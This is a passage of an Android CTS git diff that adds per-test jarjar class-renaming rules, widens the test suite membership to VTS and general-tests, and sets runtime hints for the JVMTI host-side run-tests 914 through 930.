@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest914@1
diff --git a/hostsidetests/jvmti/run-tests/test-915/Android.mk b/hostsidetests/jvmti/run-tests/test-915/Android.mk
index 2e2e438..961c4cc 100644
--- a/hostsidetests/jvmti/run-tests/test-915/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-915/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest915HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
index dbe9df0..b8e03bf 100644
--- a/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-915/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest915HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest915DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_915" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-915/app/Android.mk b/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
index d712a74..ac85b08 100644
--- a/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt
new file mode 100644
index 0000000..650ee3c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest915@1
diff --git a/hostsidetests/jvmti/run-tests/test-917/Android.mk b/hostsidetests/jvmti/run-tests/test-917/Android.mk
index 1e84675..8cf73fc 100644
--- a/hostsidetests/jvmti/run-tests/test-917/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-917/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest917HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
index 04a515b..0098aef 100644
--- a/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-917/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest917HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest917DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_917" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/Android.mk b/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
index 8b87082..964fa9a 100644
--- a/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt
new file mode 100644
index 0000000..de3b6cc
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest917@1
diff --git a/hostsidetests/jvmti/run-tests/test-918/Android.mk b/hostsidetests/jvmti/run-tests/test-918/Android.mk
index 5d6f8d0..497f86c 100644
--- a/hostsidetests/jvmti/run-tests/test-918/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-918/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest918HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
index e4fc0eb..78f0927 100644
--- a/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest918HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest918DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_918" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/Android.mk b/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
index 30f9597..9274386 100644
--- a/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt
new file mode 100644
index 0000000..0635cae
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest918@1
diff --git a/hostsidetests/jvmti/run-tests/test-919/Android.mk b/hostsidetests/jvmti/run-tests/test-919/Android.mk
index 8916d6e..640f3d6 100644
--- a/hostsidetests/jvmti/run-tests/test-919/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-919/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest919HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
index 39f464a..d23c3fc 100644
--- a/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest919HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest919DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_919" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/Android.mk b/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
index a9b7089..230d936 100644
--- a/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt
new file mode 100644
index 0000000..69ffbde
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest919@1
diff --git a/hostsidetests/jvmti/run-tests/test-920/Android.mk b/hostsidetests/jvmti/run-tests/test-920/Android.mk
index f92ed94..3029742 100644
--- a/hostsidetests/jvmti/run-tests/test-920/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-920/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest920HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
index 5d33072..ff574cc 100644
--- a/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest920HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest920DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_920" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/Android.mk b/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
index a24d668..ee861f2 100644
--- a/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt
new file mode 100644
index 0000000..a819464
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-920/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest920@1
diff --git a/hostsidetests/jvmti/run-tests/test-922/Android.mk b/hostsidetests/jvmti/run-tests/test-922/Android.mk
index 2de665a..bf10341 100644
--- a/hostsidetests/jvmti/run-tests/test-922/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-922/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest922HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
index eb1cae9..6c9f7dc 100644
--- a/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest922HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest922DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_922" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/Android.mk b/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
index ada0edc..70843f5 100644
--- a/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt
new file mode 100644
index 0000000..9334c2d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest922@1
diff --git a/hostsidetests/jvmti/run-tests/test-923/Android.mk b/hostsidetests/jvmti/run-tests/test-923/Android.mk
index dd1de3c..fd2d6f8 100644
--- a/hostsidetests/jvmti/run-tests/test-923/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-923/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest923HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
index c1977d6..cae6301 100644
--- a/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest923HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest923DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_923" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/Android.mk b/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
index c94d431..b638272 100644
--- a/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt
new file mode 100644
index 0000000..5054eeb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest923@1
diff --git a/hostsidetests/jvmti/run-tests/test-924/Android.mk b/hostsidetests/jvmti/run-tests/test-924/Android.mk
index 28c4b89..4b917d8 100644
--- a/hostsidetests/jvmti/run-tests/test-924/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-924/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest924HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
index 3424b6b..35bea67 100644
--- a/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest924HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest924DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_924" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/Android.mk b/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
index f1acfd0..7136929 100644
--- a/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt
new file mode 100644
index 0000000..86780fc
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest924@1
diff --git a/hostsidetests/jvmti/run-tests/test-926/Android.mk b/hostsidetests/jvmti/run-tests/test-926/Android.mk
index fcd46ad..9e0ffe1 100644
--- a/hostsidetests/jvmti/run-tests/test-926/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-926/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest926HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
index 30c0da8..ea30af1 100644
--- a/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest926HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest926DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_926" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/Android.mk b/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
index a597fb1..3d531ff 100644
--- a/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt
new file mode 100644
index 0000000..831e1634
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest926@1
diff --git a/hostsidetests/jvmti/run-tests/test-927/Android.mk b/hostsidetests/jvmti/run-tests/test-927/Android.mk
index 939601c..3371896 100644
--- a/hostsidetests/jvmti/run-tests/test-927/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-927/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest927HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
index 52b9b8e..f09082a 100644
--- a/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest927HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest927DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_927" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/Android.mk b/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
index 9c71950..0443b1b 100644
--- a/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt
new file mode 100644
index 0000000..e342e09
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest927@1
diff --git a/hostsidetests/jvmti/run-tests/test-928/Android.mk b/hostsidetests/jvmti/run-tests/test-928/Android.mk
index 2eac8f9..3b0e60c 100644
--- a/hostsidetests/jvmti/run-tests/test-928/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-928/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest928HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
index 477a056..7755ea0 100644
--- a/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest928HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest928DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_928" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/Android.mk b/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
index 2eb3612..75ba90c 100644
--- a/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt
new file mode 100644
index 0000000..52ce9fe
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest928@1
diff --git a/hostsidetests/jvmti/run-tests/test-930/Android.mk b/hostsidetests/jvmti/run-tests/test-930/Android.mk
index 2ac9ae2..3b7ddf7 100644
--- a/hostsidetests/jvmti/run-tests/test-930/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-930/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiRunTest930HostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
index cbed864..c2b8745 100644
--- a/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
@@ -23,5 +23,6 @@
<option name="jar" value="CtsJvmtiRunTest930HostTestCases.jar" />
<option name="set-option" value="test-file-name:CtsJvmtiRunTest930DeviceApp.apk" />
<option name="set-option" value="package-name:android.jvmti.cts.run_test_930" />
+ <option name="runtime-hint" value="8s"/>
</test>
</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/Android.mk b/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
index 873b273..8a35455 100644
--- a/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt
new file mode 100644
index 0000000..b45db2f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest930@1
